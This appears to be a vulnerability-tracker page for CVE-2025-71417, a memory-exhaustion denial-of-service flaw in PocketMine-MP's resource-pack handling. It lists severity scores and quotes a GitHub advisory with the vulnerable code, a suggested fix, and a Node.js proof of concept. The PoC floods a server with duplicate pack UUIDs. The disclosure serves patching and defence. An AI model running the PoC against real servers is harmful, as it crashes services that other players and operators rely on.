CVE-2025-71417

mediumpriority · track · 26EPSS 0.004 · 38 %ileUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.44% (38th) EPSS
CVSS 6.5 · medium
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

PocketMine-MP before 5.32.1 fails to validate uniqueness of pack UUIDs in ResourcePackClientResponsePacket STATUS_SEND_PACKS handling, allowing authenticated clients to trigger duplicate pack transmissions. Attackers can send multiple copies of valid pack UUIDs in a single packet to exhaust server memory and cause denial of service.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.1
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.9–7.1

v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:Hprimary · disclosure@vulncheck.comexploitability 2.8 · impact 3.6
v4.07.1highCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.04.9mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Trackcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (1)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-fqqv-56h5-f57gPocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking2025-09-02ghsa · osvUS

    ### Summary A denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`. PocketMine-MP processes the `packIds` array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: **High** — Remote DoS from an authenticated client. --- ### Details Relevant code (simplified): ```php case ResourcePackClientResponsePacket::STATUS_SEND_PACKS: foreach($packet->packIds as $uuid){ $splitPos = strpos($uuid, "_"); if($splitPos !== false){ $uuid = substr($uuid, 0, $splitPos); } $pack = $this->getPackById($uuid); if(!($pack instanceof ResourcePack)){ $this->disconnectWithError("Unknown pack $uuid requested..."); return false; } $this->session->sendDataPacket(ResourcePackDataInfoPacket::create( $pack->getPackId(), self::PACK_CHUNK_SIZE, (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE), $pack->getPackSize(), $pack->getSha256(), false, ResourcePackType::RESOURCES )); } break; ``` **Root cause:** * The `packIds` array is taken directly from the client packet and processed as-is. * There is no check to ensure that all requested packs are unique. * A malicious client can craft a `STATUS_SEND_PACKS` packet with many duplicates of a valid UUID. * Each duplicate results in the server re-sending the same pack, consuming additional memory. **Why this is unexpected:** * Mojang's official clients never send duplicates in `packIds`. * PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client. --- **Suggested fix:** Before sending packs: 1. Remove duplicates from the incoming `packIds` array. 2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error. 3. Track which packs have already been sent to this player, and skip any that have already been transferred. ```php $alreadySent = $this->packsSent ?? []; // Remove duplicates $uniquePackIds = array_unique($packet->packIds); // Detect abuse if(count($packet->packIds) - count($uniquePackIds) > 2){ $this->disconnectWithError("Too many duplicate resource pack requests"); return false; } foreach($uniquePackIds as $uuid){ if(in_array($uuid, $alreadySent, true)){ continue; // Skip packs already sent to this player } // existing code... $alreadySent[] = $uuid; } $this->packsSent = $alreadySent; ``` --- ### PoC 1. Join a PocketMine-MP server with at least one resource pack enabled. 2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with: * `status = STATUS_SEND_PACKS` * `packIds` = many duplicates of a known valid pack UUID. Example Node.js PoC (requires `bedrock-protocol` and a valid `PACK_UUID`): ```js import { createClient } from 'bedrock-protocol'; const host = '127.0.0.1'; const port = 19132; const username = 'test'; const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID const DUPLICATES = 1000; const client = createClient({ host, port, username, offline: true }); client.on('spawn', () => { console.log('[*] Sending duplicate pack request...'); client.queue('resource_pack_client_response', { response_status: 'send_packs', resourcepackids: Array(DUPLICATES).fill(PACK_UUID) }); }); ``` --- ### Impact * **Type:** Remote Denial of Service / Memory Exhaustion * **Who is impacted:** Any PocketMine-MP server with resource packs enabled * **Requirements:** Attacker must connect to the server (authenticated player) * **Effect:** Server memory rapidly increases, leading to freeze or crash

06

sources

Which sources assert this record, and when.

published 2026-09-09modified 2026-10-19
07

references (2) nvd

External citations — patches, advisories, analysis.

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